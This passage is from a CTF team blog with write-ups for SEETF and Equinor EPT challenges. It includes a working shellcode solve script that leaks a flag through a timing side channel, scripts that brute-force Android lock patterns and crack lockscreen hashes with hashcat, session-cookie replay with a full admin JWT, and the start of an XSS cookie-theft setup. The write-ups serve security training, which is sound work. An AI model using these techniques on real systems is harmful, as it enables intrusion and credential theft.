<code class="language-plaintext highlighter-rouge">read(int fd, void *buf, size_t count);</code>.</p>
<p>As one can see form a <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x86 syscall table</a>, to read from stdin we need to set <code class="language-plaintext highlighter-rouge">RAX=0</code>, <code class="language-plaintext highlighter-rouge">RSI=0</code> and <code class="language-plaintext highlighter-rouge">RDX</code> to some value. Next we need to set the buffer pointer, <code class="language-plaintext highlighter-rouge">RDI</code> register, to point to the place in memory where the bytes that get read in should be placed.</p>
<p>It is very hard to set all these registers up correctly with only 6 bytes of shellcode, but we can leverage the register data lying around at the time of execution.</p>
<p>We can therefore use the following shellcode to read in more bytes from stdin:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="n">sc</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
//read(rdi=rip, rsi=0, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Stage 2 will therefore be in the stdin buffer. By reading into the address of the <code class="language-plaintext highlighter-rouge">RIP</code> (instruction pointer), the current code is overwritten with the stage 2 payload. To ensure proper execution, a nopsled is included in the stage 2 payload to handle any byte alignment issues.<br />
For further exploration, here is a good medium article explaining multi-stage shellcodes: <a href="https://compilepeace.medium.com/shellcoding-0x3-dropping-multi-stage-payload-fdd635fcbf70">Shellcoding 0x3: Dropping Multi-stage Payload</a>.</p>
<p>When running the above script with <code class="language-plaintext highlighter-rouge">strace</code> we see it works:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 20148224) = 1238
open("./flag", O_RDONLY) = 3
read(3, "SEE{REDACTED}", 1000) = 13
write(1, "SEE{REDACTED}", 13) = 1
[DEBUG] Received 0x27 bytes:
b'+++ killed by SIGSYS (core dumped) +++\n'
+++ killed by SIGSYS (core dumped) +++
</pre></td></tr></tbody></table></code></pre></div></div>
<p>HOWEVER, the program uses <a href="https://man7.org/linux/man-pages/man2/seccomp.2.html">seccomp</a> to limit available syscalls to only <strong>OPEN</strong> and <strong>READ</strong>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre> <span class="n">assert</span><span class="p">(</span><span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">open</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">assert</span><span class="p">(</span><span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">read</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Therefore, we need to find an alternative method to read the file without using the write syscall. After some research, we discovered a similar shellcode challenge called <a href="https://ctftime.org/writeup/6607">“mute”</a> in the 2017 DEFCON quals. That challenge disallowed the use of the write syscall, and participants solved it by employing a timing side-channel attack.</p>
<p>The idea behind a timing attack is to glean information based on how long operations take to execute. Here, the basic idea of the attack is to guess each character of the flag, one at a time. If a guess is correct, the connection is kept open, otherwise, it is closed.</p>
<p>Here’s the script that successfully solves the challenge:
<strong>SOLVE SCRIPT:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">glob</span> <span class="kn">import</span> <span class="n">glob</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="c1"># Set context debug level
</span><span class="n">context</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"error"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./chall"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">elf</span>
<span class="c1"># Precompile the parts of the shellcode that do not change during iterations
</span><span class="n">nop_shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"""
.rept 9
nop
.endr
"""</span><span class="p">)</span>
<span class="n">open_shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span> <span class="n">constants</span><span class="p">.</span><span class="n">O_RDONLY</span><span class="p">,</span> <span class="bp">None</span><span class="p">))</span>
<span class="n">read_shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="n">count</span><span class="o">=</span><span class="mi">13</span><span class="p">))</span>
<span class="n">exit_setup_shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"""
//Set up exit
xor rax, rax
mov rdi, 4
mov r8, 60
"""</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">connect</span><span class="p">():</span>
<span class="n">sc</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
//read(rsi=0, rdi=rip, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""</span>
<span class="k">global</span> <span class="n">p</span>
<span class="c1">#p = process(elf.file.name)
</span> <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"win.the.seetf.sg"</span><span class="p">,</span> <span class="mi">2002</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="n">sc</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">tryChar</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
<span class="n">connect</span><span class="p">()</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="n">nop_shellcode</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="n">open_shellcode</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="n">read_shellcode</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="n">exit_setup_shellcode</span>
<span class="c1"># Compile the dynamic part together with the exit part
</span> <span class="n">cmp_and_exit_shellcode</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
// Compare each guessed character with the flag loaded in memory
mov rbx, [rsp + </span><span class="si">{</span><span class="n">index</span> <span class="o">//</span> <span class="mi">8</span><span class="si">}</span><span class="s">*8]
shr rbx, </span><span class="si">{</span><span class="mi">8</span><span class="o">*</span><span class="p">(</span><span class="n">index</span><span class="o">%</span><span class="mi">8</span><span class="p">)</span><span class="si">}</span><span class="s">
cmp bl, </span><span class="si">{</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="si">}</span><span class="s">
jz loop
// Exit if correct
mov rax, r8
syscall
jmp end
// Loop if incorrect
loop:
jmp loop
end:
"""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="n">cmp_and_exit_shellcode</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>
<span class="c1"># Try reading
</span> <span class="k">try</span><span class="p">:</span>
<span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.5</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="c1"># Connection closed on us, wrong guess
</span> <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="c1"># Connection stayed open, correct guess
</span> <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="bp">True</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">"SEE{"</span>
<span class="c1"># Not specifying stop here since we don't know how long the flag is
</span><span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="c1"># Guess every character
</span> <span class="c1">#"SEE{REDACTED}":
</span> <span class="c1">#string.printable:
</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">string</span><span class="p">.</span><span class="n">printable</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Trying char: "</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span>
<span class="c1"># If we found this char, break and move to the next
</span> <span class="k">if</span> <span class="n">tryChar</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)):</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="n">c</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Flag is now: </span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">else</span><span class="p">:</span>
<span class="c1"># If we hit this, we're probably done reading the flag
</span> <span class="k">break</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Flag: "</span> <span class="o">+</span> <span class="n">flag</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The stage 2 shellcode reads the “flag” file into memory and then checks each character against a guessed character. If the guess is correct, the shellcode enters an infinite loop, keeping the connection open. If the guess is incorrect, the shellcode performs a syscall not allowed by seccomp, causing the program to terminate and close the connection. The script starts with an empty flag and a set of possible characters. For each position in the flag, it iterates over the possible characters and uses the tryChar function to test each one. If the connection remains open, the guessed character is appended to the flag and the script moves on to the next position. This process continues until all positions have been guessed correctly.</p>
<p>FLAG: <strong>SEE{n1c3_sh3llc0ding_d6e25f87c7ebeef6e80df23d32c42d00}</strong></p>
<h2 id="misc--nocode">Misc / NoCode</h2>
<h3 id="description-3">Description</h3>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/7db7f638-233b-4441-8904-2c9593b494d6.png" alt="" /></p>
<h3 id="solution-4">Solution</h3>
<p>As the code suggest, this is a white-space encoded text, and therefore we cannot see anything in the text-fields.
Copying the text to Cyberchef, we can see these red dots, seperated with spaces.
<code class="language-plaintext highlighter-rouge"> </code></p>
<p>This looks like binary, or maybe morse. Using Sublime, we can fast and easy replace the dots and spaces with 0 and 1.
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/3e97e617-3c5c-48fe-86be-5592749bd31e.png" alt="" /></p>
<p>The dots are represented with <0x200b> in Sublime. By replacing <0x200b> with 0, and space with 1, we have a binary code that gives us the flag when decoded in CyberChef:</p>
<p>Flag: SEE{vanilla.js.org_dfe6a05ccbec9bda49cd1b70b2692b45}</p>
<h2 id="misc--1337-word-search">Misc / 1337 word search</h2>
<h3 id="description-4">Description</h3>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/b2a404f1-ed91-4737-a5ed-4690b3b364a0.png" alt="" /></p>
<h3 id="solution-5">Solution</h3>
<p>ChatGPT provided us with a program that was able to search for a pattern in a grid. It was quite long, but the main part can be seen here:</p>
<pre><code class="language-python=">for row in range(rows):
for col in range(cols):
# Check if the current cell matches the first character of the pattern
if grid[row][col] == pattern[0]:
# Check for pattern in all directions
for direction in directions:
if search_from_position(row, col, direction):
match = {
'start': (row, col),
'end': (row + (pattern_length - 1) * direction[0], col + (pattern_length - 1) * direction[1])
}
matches.append(match)
</code></pre>
<p>We transformed the text-file into a ‘grid’ consisting of nested lists in python, and used the chatGPT-provided algoritm to search for <code class="language-plaintext highlighter-rouge">SEE{</code> in it.
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/9371b029-f67c-4d0c-857c-e6ceafde7171.png" alt="" />
Thankfully we found just one match which hopefully should be the correct one.
We searched for the rest of the flag using the following script:</p>
<pre><code class="language-python=">x = 487
y = 953
flag = ''
for i in range(40):
flag+=grid[x][y]
x-=1
y-=1
print(flag)
</code></pre>
<p>We had to ajust the number of characters in the flag a few times to get the correct amout, but eventually we got the flag!
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/7ed535ef-0a74-4e2e-93cd-2861990ad827.png" alt="" />
FLAG: <strong>SEE{you_found_me_now_try_the_1337er_one}</strong></p>
<h2 id="misc--android-zoo">Misc / Android Zoo</h2>
<h3 id="description-5">Description</h3>
<h3 id="solution-6">Solution</h3>
<h4 id="first-device">First Device</h4>
<p>Found a chinese writeup similar to the challenge faced with the first device. Adjusting the code to give 5-length password, we are able to find the pattern.
https://hackmd.io/@crazyman/BJXeu3abY</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="c1"># a1.py
</span><span class="n">file1</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'password.txt'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="s">"123456789"</span><span class="p">:</span>
<span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="s">"123456789"</span><span class="p">:</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s">"123456789"</span><span class="p">:</span>
<span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="s">"123456789"</span><span class="p">:</span>
<span class="k">for</span> <span class="n">e</span> <span class="ow">in</span> <span class="s">"123456789"</span><span class="p">:</span>
<span class="k">if</span> <span class="n">a</span> <span class="o">!=</span> <span class="n">b</span> <span class="ow">and</span> <span class="n">a</span> <span class="o">!=</span> <span class="n">c</span> <span class="ow">and</span> <span class="n">a</span> <span class="o">!=</span> <span class="n">d</span> <span class="ow">and</span> <span class="n">a</span> <span class="o">!=</span> <span class="n">e</span> \
<span class="ow">and</span> <span class="n">b</span> <span class="o">!=</span> <span class="n">c</span> <span class="ow">and</span> <span class="n">b</span> <span class="o">!=</span> <span class="n">d</span> <span class="ow">and</span> <span class="n">b</span> <span class="o">!=</span> <span class="n">e</span> \
<span class="ow">and</span> <span class="n">c</span> <span class="o">!=</span> <span class="n">d</span> <span class="ow">and</span> <span class="n">c</span> <span class="o">!=</span> <span class="n">e</span> \
<span class="ow">and</span> <span class="n">d</span> <span class="o">!=</span> <span class="n">e</span><span class="p">:</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">+</span> <span class="n">c</span> <span class="o">+</span> <span class="n">d</span> <span class="o">+</span> <span class="n">e</span>
<span class="n">file1</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">password</span> <span class="o">+</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">file1</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="rouge-code"><pre><span class="c1">#c1.py
</span><span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">binascii</span>
<span class="kn">import</span> <span class="nn">scrypt</span>
<span class="n">N</span> <span class="o">=</span> <span class="mi">16384</span>
<span class="n">r</span> <span class="o">=</span> <span class="mi">8</span>
<span class="n">p</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'gatekeeper.pattern.key'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="n">blob</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">Struct</span><span class="p">(</span><span class="s">'<'</span> <span class="o">+</span> <span class="s">'17s 8s 32s'</span><span class="p">)</span>
<span class="p">(</span><span class="n">meta</span><span class="p">,</span> <span class="n">salt</span><span class="p">,</span> <span class="n">signature</span><span class="p">)</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">unpack_from</span><span class="p">(</span><span class="n">blob</span><span class="p">)</span>
<span class="c1">#print(salt)
</span><span class="n">f1</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'password.txt'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">f1</span><span class="p">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">rstrip</span><span class="p">()</span> <span class="c1"># Remove newline character
</span> <span class="n">to_hash</span> <span class="o">=</span> <span class="n">meta</span> <span class="o">+</span> <span class="n">password</span>
<span class="nb">hash</span> <span class="o">=</span> <span class="n">scrypt</span><span class="p">.</span><span class="nb">hash</span><span class="p">(</span><span class="n">to_hash</span><span class="p">,</span> <span class="n">salt</span><span class="p">,</span> <span class="n">N</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'password: %s'</span> <span class="o">%</span> <span class="n">password</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'signature: %s'</span> <span class="o">%</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">signature</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Hash: %s'</span> <span class="o">%</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="nb">hash</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">32</span><span class="p">]))</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Equal: %s'</span> <span class="o">%</span> <span class="p">(</span><span class="nb">hash</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">32</span><span class="p">]</span> <span class="o">==</span> <span class="n">signature</span><span class="p">))</span>
<span class="k">if</span> <span class="nb">hash</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">32</span><span class="p">]</span> <span class="o">==</span> <span class="n">signature</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"OK"</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre> <span class="nv">$ </span>python a1.py
<span class="nv">$ </span>python c1.py
<span class="o">(</span>...<span class="o">)</span>
password: b<span class="s1">'95184'</span>
signature: b<span class="s1">'8c6f2d4d5eb89748ca46b11da509abb1d7a1c80e802ed071c63d5d7ca9109319'</span>
Hash: b<span class="s1">'8c6f2d4d5eb89748ca46b11da509abb1d7a1c80e802ed071c63d5d7ca9109319'</span>
Equal: True
OK
</pre></td></tr></tbody></table></code></pre></div></div>
<h4 id="second-device">Second device</h4>
<p><code class="language-plaintext highlighter-rouge">password.key</code> contained the following `
6DFE4D0C832761398B38D7CFAD64D78760DEBAD266EB31BD62AFE3E486004CE6ECEC885C<code class="language-plaintext highlighter-rouge"> which is the sha-hash and the md5-hash concatinated. From this we gathered the MD5 hash </code>66EB31BD62AFE3E486004CE6ECEC885C` which is easier to crack.</p>
<p>Opening <code class="language-plaintext highlighter-rouge">locksetting.db</code> in sqlite3 we can read the <code class="language-plaintext highlighter-rouge">lockscreen.password_salt</code>-value to be 8074783686056175940. Transforming this to hex and we have our salt: <code class="language-plaintext highlighter-rouge">700f64fafd7f6944</code></p>
<p>We were told that the password was in Rockyou, so we started up hashcat with mode 10 <code class="language-plaintext highlighter-rouge">(md5($pass.$salt))</code>, our hash and salt and finaly the rockyou wordlist.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>hashcat -m 10 66EB31BD62AFE3E486004CE6ECEC885C:700f64fafd7f6944 -a 0 ~/Downloads/rockyou.txt
hashcat (v6.2.5) starting
[...]
Dictionary cache built:
* Filename..: /home/heitmann/Downloads/rockyou.txt
* Passwords.: 14344394
* Bytes.....: 139921525
* Keyspace..: 14344387
* Runtime...: 1 sec
66eb31bd62afe3e486004ce6ecec885c:700f64fafd7f6944:PIGeon4ever
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The password for device nr two is <code class="language-plaintext highlighter-rouge">PIGeon4ever</code></p>
<p>FLAG: <strong>SEE{PIGeon4ever:95184}</strong></p>FesseMiskOur team recently participated in an SEETF managed by the Singapore-based CTF team, Social Engineering Experts. It was a hard CTF, with few solves in most tasks. We spent limited time on this CTF, and solved 8 out of 52 tasks.. The tasks we completed were enjoyable and well-designed.Equinor CTF - Writeup2022-11-09T00:00:00+00:002022-11-09T00:00:00+00:00https://www.fessemisk.com/writeup/ept<p>Over the weekend 8th-9th of November we joined EPT’s CTF at their onsite CTF in Oslo. EPT is Equinors CTF team, which won the defcon red team CTF 2022, and the whole CTF was sponsored by Equinor. We were placed at an 8th place in the student category and 28th overall among over 100 competing teams which included most of Norways CTF scene.</p>
<h2 id="student-division-scoreboard">Student Division Scoreboard:</h2>
<p><img src="/images/2022-11-09-13-48-52.png" alt="" /></p>
<h1 id="category-beginner">Category: Beginner</h1>
<h2 id="challenge-beginnernotes">Challenge: Beginner/Notes</h2>
<h3 id="description">Description</h3>
<p>Category: Forensics</p>
<p>We have intercepted this screenshot of a note from a hacker’s iPhone. We believe the stolen credentials are actually a flag.</p>
<p>file: note.jpg</p>
<h3 id="solution">Solution</h3>
<p>In this challange we are given a picture with a obfuscated string:
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/8912e73d-3bd2-4f01-a29e-21110307d144.png" alt="" /></p>
<p>Using a online forensics toolkit <a href="29a.ch/photo-forensics">29a.ch/photo-forensics</a> and selecting the tool<code class="language-plaintext highlighter-rouge">Luminance Gradient</code> - we can (barely) see the flag:</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/c02246db-fe53-418c-a09b-f67d85baa0ab.png" alt="" /></p>
<h3 id="flag">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{d0_n0t_us3_m4rk_t00l_t0_s3ns0r}</code></p>
<h2 id="challenge-beginnerhidden-out-of-sight">Challenge: Beginner/Hidden out of sight</h2>
<p>Category: Steganography</p>
<h3 id="description-1">Description</h3>
<p>Something must be hidden in the darkness.</p>
<p>Downloads: image.gif</p>
<h3 id="solution-1">Solution</h3>
<ol>
<li>First we run strings on image.gif to check the metadata.</li>
<li>We are able to see that GIF89a and NETSCAPE2.0 is connected to ImageMagick. Therefore we install ImageMagick.</li>
<li>By converting the gif into all its .png components (total of 7) using the command <code class="language-plaintext highlighter-rouge">convert image.gif out.png</code>, we are able to inspect each of the components.</li>
<li>Based on the description “Something must be hidden in the darkness” we first check the black picture.</li>
<li>
<p>Running the command <code class="language-plaintext highlighter-rouge">identify -verbose image.gif</code> we are able to see that the data stored in the 5th image (the black one from the gif) contains more data than the others. See picture below:
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/1f4d171c-74ca-4211-96fa-0e3d6c68c5f0.png" alt="" /></p>
</li>
<li>The 8-bit colormap is a place where one can hide information. By using <strong>stegsolve</strong> we can scroll through the pictures, we find this:<br />
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/96ab0704-d571-4f44-9d9d-430d2b5aca43.png" alt="" /></li>
<li>And that there we have the flag</li>
</ol>
<h3 id="flag-1">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{DID_YOU_SEE_ME??}</code></p>
<h2 id="challenge-beginnernotes---revisited">Challenge: Beginner/Notes - Revisited</h2>
<h3 id="description-2">Description</h3>
<p>The hacker claims we have planted this note on his phone. Can you find out the actual date and time when it was last modified?</p>
<p>The flag format is: EPT{31.12.2099_23:59}</p>
<p>P.S: This is not an artificial challenge - this timestamp is indeed added by the notes application and can be recreated easily on your phone.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/8912e73d-3bd2-4f01-a29e-21110307d144.png" alt="" /></p>
<h3 id="solution-2">Solution</h3>
<p>Using the same tool as in the challenge <code class="language-plaintext highlighter-rouge">notes</code> (<a href="29a.ch/photo-forensics">29a.ch/photo-forensics</a> and Luminance Gradient) we can see the date and time in plaint text:
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/2dd28fcf-ea36-4c0c-a545-1b53f2d0c0a2.png" alt="" /></p>
<h3 id="flag-2">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{30.05.2001_06:45}</code></p>
<h2 id="challenge-beginnerlost-keys">Challenge: Beginner/Lost Keys</h2>
<h3 id="description-3">Description</h3>
<p>Category: Forensics\Web</p>
<p>I lost my keys to the vault, but since I always have my full packet capture collector going maybe you can retrieve them somehow? I have some tasty flags stored there.</p>
<p>Site: vault7.io.ept.gg</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/5d2144f7-d9d5-46c0-aefa-cc4c8d6bc05f.png" alt="" /></p>
<p>PS: Note that there is a pcap provided for this challenge..</p>
<h3 id="solution-3">Solution</h3>
<p>Use the program wireshark and open the vault.pcap file. Following the tcp stream of the http data we find a vaultsession cookie. Having this we can inspect the website and insert the new vaultsession cookie where the old one was.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/f1693e0a-925d-4d6c-a9cc-edd0c115a8a5.png" alt="" />
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/e8ef5d0e-dd63-49ac-baea-2101d6807f1d.png" alt="" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>Cookie:
vaultsession: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMzM3IiwibmFtZSI6ImFkbWluaXN0cmF0b3IiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjYyODM2OTE5LCJleHAiOjE4NjI4NDA1MTl9.UUjgd23gMWqseDU39Jhay2mjbtwRdcWE7KbqDbmTK9A
</pre></td></tr></tbody></table></code></pre></div></div>
<p>After inserting the new cookie, refresh the website and the flag will appear</p>
<h3 id="flag-3">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{n00m_n00m_c00kies}</code></p>
<h2 id="challenge-beginnerblog">Challenge: Beginner/blog</h2>
<h3 id="description-4">Description</h3>
<p>The admin is an avid reader of the blog. Allegedly, he logs in like every minute to check for any blog updates.</p>
<p>Ondemand Container:</p>
<p>io6.ept.gg:32838</p>
<h3 id="solution-4">Solution</h3>
<p>Visiting the address from the “Ondemand Container” - we are given a blog board, with the possiblility to read blog posts. We can also register users and submit our own posts. Knowing this, we guessed we had to use XSS in the website to get the flag, considering that we know that the admin reads the blog posts regularly - and we probably want to get his cookie.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/7bb87b9c-7e5b-42c4-91fa-9f1abf7bee58.png" alt="" /></p>
<p>We register a random user “123:123”, and make a new blog post containing a XSS-payload.
<a href="https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies">portswigger has a lab on how to exploit XSS to steal cookies</a>. In Burp Collaborator we generate a collaborator payload. “copy to clipboard” in Burp collaborator gives us a subdomain (“BURP-COLLABORATOR-SUBDOMAIN”), which we insert in the payload of the blog-post:</p>
